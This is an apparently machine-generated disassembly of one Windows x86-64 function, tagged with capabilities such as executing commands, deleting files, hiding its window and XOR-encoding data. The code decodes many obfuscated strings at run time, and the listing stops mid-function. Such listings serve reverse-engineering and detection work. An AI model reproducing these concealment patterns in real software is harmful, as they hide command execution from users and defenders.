Function at 0x1400666f0
Capabilities:
Delete file
Encode data using xor
Execute command
Get common file path
Hide graphical window
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x29c0
call fcn.1400e5920
sub rsp, rax
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140121080]
xor rax, rsp
mov qword [rbp + 0x2960], rax
xor r15d, r15d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 8], rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rax, 0xe79b71d059492428
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x440], rcx
movabs rax, 0x656bfe151530b658
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x448], rcx
movabs rax, 0x39e41fedc1a4bc81
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x450], rcx
movabs rax, 0xbc73357d3c922307
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
movabs rdi, 0xc7d0359a372c5467
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2560], rax
movabs rbx, 0x81991736151da08
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2568], rax
movabs r14, 0x179d6d8cafcddea1
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2570], rax
movabs rsi, 0xbc73357d3cf75b62
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2578], rax
vmovdqu ymm0, ymmword [rbp + 0x440]
vpxor ymm1, ymm0, ymmword [rbp + 0x2560]
vmovdqa ymmword [rbp + 0x440], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1410]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x440]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140066850
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x1410]
call fcn.14000ce60
nop
movabs rax, 0xbfb51bed565a350d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x81991736151da6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1f20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1f28], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x1f20]
movdqa xmmword [rbp + 0x90], xmm0
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x13f0]
call fcn.14000ce40
nop
lea rax, [rbp + 0x90]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400668f4
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x13f0]
call fcn.14000ce60
nop
movabs r12, 0xa0be50ee56493c04
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs r13, 0x572fa90b4c34b461
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs rax, 0x3aa928dffce0ea97
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
movabs rax, 0xbc73351844927523
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2580], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2588], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2590], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2598], rax
vmovdqu ymm0, ymmword [rbp + 0x420]
vpxor ymm1, ymm0, ymmword [rbp + 0x2580]
vmovdqa ymmword [rbp + 0x420], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x13d0]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x420]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400669f0
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x13d0]
call fcn.14000ce60
nop
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x880], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x888], rax
movabs rax, 0x3aa928dffce0ea97
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x890], rax
movabs rax, 0xd90b50530eaf0d23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
movabs r13, 0x3b085c1edac0493b
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
movabs r12, 0xc9fc8df76013421c
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2368], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2378], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2380], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2388], rax
vmovdqu ymm0, ymmword [rbp + 0x880]
vpxor ymm1, ymm0, ymmword [rbp + 0x2360]
vmovdqa ymmword [rbp + 0x880], ymm1
vmovdqa xmm0, xmmword [rbp + 0x8a0]
vxorps xmm0, xmm0, xmmword [rbp + 0x2380]
vmovdqa xmmword [rbp + 0x8a0], xmm0
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1670]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x880]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140066b40
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x1670]
call fcn.14000ce60
nop
movabs rax, 0xbfb51bae014d300e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x81991736151da6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1f10], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1f18], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x1f10]
movdqa xmmword [rbp + 0xa0], xmm0
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1650]
call fcn.14000ce40
nop
lea rax, [rbp + 0xa0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140066be4
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x1650]
call fcn.14000ce60
nop
movabs rax, 0xa8a245ae014d300e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x81991730429bf26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1f00], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1f08], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x1f00]
movdqa xmmword [rbp + 0xb0], xmm0
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1630]
call fcn.14000ce40
nop
lea rax, [rbp + 0xb0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140066c90
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x1630]
call fcn.14000ce60
nop
movabs rax, 0xa2fe52f85318621f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x81991736151bf70
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1ef0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1ef8], rax
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x1ef0]
movdqa xmmword [rbp + 0xc0], xmm0
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1610]
call fcn.14000ce40
nop
lea rax, [rbp + 0xc0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140066d34
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x1610]
call fcn.14000ce60
nop
movabs rax, 0xa2fe52f8531e671f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x81991736151bf70
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1ee0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1ee8], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x1ee0]
movdqa xmmword [rbp + 0x60], xmm0
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x15f0]
call fcn.14000ce40
nop
lea rax, [rbp + 0x60]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140066dd0
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x15f0]
call fcn.14000ce60
nop
movabs rax, 0xa2fe52f8531a6c1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x81991736151bf70
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1ed0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1ed8], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x1ed0]
movdqa xmmword [rbp + 0x70], xmm0
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x15d0]
call fcn.14000ce40
nop
lea rax, [rbp + 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140066e62
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x15d0]
call fcn.14000ce60
nop
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x25a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x25a8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x25b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x25b8], rax
vmovdqu ymm0, ymmword [rbp + 0x5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x25a0]
vmovdqa ymmword [rbp + 0x5c0], ymm1
lea r8, [rbp + 0x1410]
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x1130]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x1870]
call fcn.14000c950
nop
lea rcx, [rbp + 0x1130]
call fcn.14000c850
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2820], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2828], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2830], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2838], rax
vmovdqu ymm0, ymmword [rbp + 0x5a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2820]
vmovdqa ymmword [rbp + 0x5a0], ymm1
lea r8, [rbp + 0x13f0]
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x1110]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x17f0]
call fcn.14000c950
nop
lea rcx, [rbp + 0x1110]
call fcn.14000c850
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2840], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2848], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2850], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2858], rax
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2840]
vmovdqa ymmword [rbp + 0x5e0], ymm1
lea r8, [rbp + 0x13d0]
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x10f0]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x1790]
call fcn.14000c950
nop
lea rcx, [rbp + 0x10f0]
call fcn.14000c850
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x28e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x28f8], rax
vmovdqu ymm0, ymmword [rbp + 0x640]
vpxor ymm1, ymm0, ymmword [rbp + 0x28e0]
vmovdqa ymmword [rbp + 0x640], ymm1
lea r8, [rbp + 0x1670]
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x10d0]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x1770]
call fcn.14000c950
nop
lea rcx, [rbp + 0x10d0]
call fcn.14000c850
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2900], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2908], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2910], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2918], rax
vmovdqu ymm0, ymmword [rbp + 0x560]
vpxor ymm1, ymm0, ymmword [rbp + 0x2900]
vmovdqa ymmword [rbp + 0x560], ymm1
lea r8, [rbp + 0x1650]
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x10b0]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x1750]
call fcn.14000c950
nop
lea rcx, [rbp + 0x10b0]
call fcn.14000c850
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2920], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2928], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2930], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2938], rax
vmovdqu ymm0, ymmword [rbp + 0x540]
vpxor ymm1, ymm0, ymmword [rbp + 0x2920]
vmovdqa ymmword [rbp + 0x540], ymm1
lea r8, [rbp + 0x1630]
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x1090]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x1730]
call fcn.14000c950
nop
lea rcx, [rbp + 0x1090]
call fcn.14000c850
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2540], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2548], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2550], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2558], rax
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x2540]
vmovdqa ymmword [rbp + 0x520], ymm1
lea r8, [rbp + 0x1610]
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x1070]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x1710]
call fcn.14000c950
nop
lea rcx, [rbp + 0x1070]
call fcn.14000c850
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2520], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2528], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2530], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2538], rax
vmovdqu ymm0, ymmword [rbp + 0x580]
vpxor ymm1, ymm0, ymmword [rbp + 0x2520]
vmovdqa ymmword [rbp + 0x580], ymm1
lea r8, [rbp + 0x15f0]
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x1050]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x16f0]
call fcn.14000c950
nop
lea rcx, [rbp + 0x1050]
call fcn.14000c850
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x24e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x24e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x24f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x24f8], rax
vmovdqu ymm0, ymmword [rbp + 0x500]
vpxor ymm1, ymm0, ymmword [rbp + 0x24e0]
vmovdqa ymmword [rbp + 0x500], ymm1
lea r8, [rbp + 0x15d0]
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x1250]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x16d0]
call fcn.14000c950
nop
lea rcx, [rbp + 0x1250]
call fcn.14000c850
movabs rax, 0xabbc5cf15c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c0], rax
movabs rax, 0x6d69de532c18f528
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c8], rax
movabs rax, 0x76f13dace48994cf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d0], rax
movabs rax, 0xd51115104e983d16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d8], rax
movabs rax, 0x5e703930a3b22855
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e0], rax
movabs rax, 0xc9fc8df760556d3c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2160], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2168], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2170], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2178], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2180], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2188], rax
vmovdqu ymm0, ymmword [rbp + 0x8c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2160]
vmovdqa ymmword [rbp + 0x8c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x8e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x2180]
vmovdqa xmmword [rbp + 0x8e0], xmm0
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1430]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x8c0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400678a4
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x1430]
call fcn.14000ce60
nop
movabs rax, 0xabbc5cf15c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0x7e78fb532c18f528
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x38bd08f4cae3a9c0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rax, 0xbc73357d3cf75b24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x24c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x24c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x24d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x24d8], rax
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x24c0]
vmovdqa ymmword [rbp + 0x320], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1450]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x320]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400679a0
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x1450]
call fcn.14000ce60
nop
movabs rax, 0xabbc5cf15c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x900], rax
movabs rax, 0x6d71f2532c18f528
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x908], rax
movabs rax, 0x72f304ebc1a8aac0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x910], rax
movabs rax, 0x914703220acf234f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x918], rax
movabs rax, 0x5e261d33ee851a68
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x920], rax
movabs rax, 0xc9fc8db14f332764
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x928], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2320], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2328], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2330], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2338], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2340], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2348], rax
vmovdqu ymm0, ymmword [rbp + 0x900]
vpxor ymm1, ymm0, ymmword [rbp + 0x2320]
vmovdqa ymmword [rbp + 0x900], ymm1
vmovdqa xmm0, xmmword [rbp + 0x920]
vxorps xmm0, xmm0, xmmword [rbp + 0x2340]
vmovdqa xmmword [rbp + 0x920], xmm0
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1470]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x900]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140067b00
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0x1470]
call fcn.14000ce60
nop
movabs rax, 0xabbc5cf15c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
movabs rax, 0x6d71f2532c18f528
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movabs rax, 0x72f304ebc1a8aac0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
movabs rax, 0x914703220acf234f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movabs rax, 0x635e1d33ee851a68
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
movabs rax, 0x8fd3ad9218766c2e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs rdx, 0x38e417302bffab75
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rcx, 0x9b8ab614f9a60e6
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x26e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x26e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x26f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x26f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2700], rax
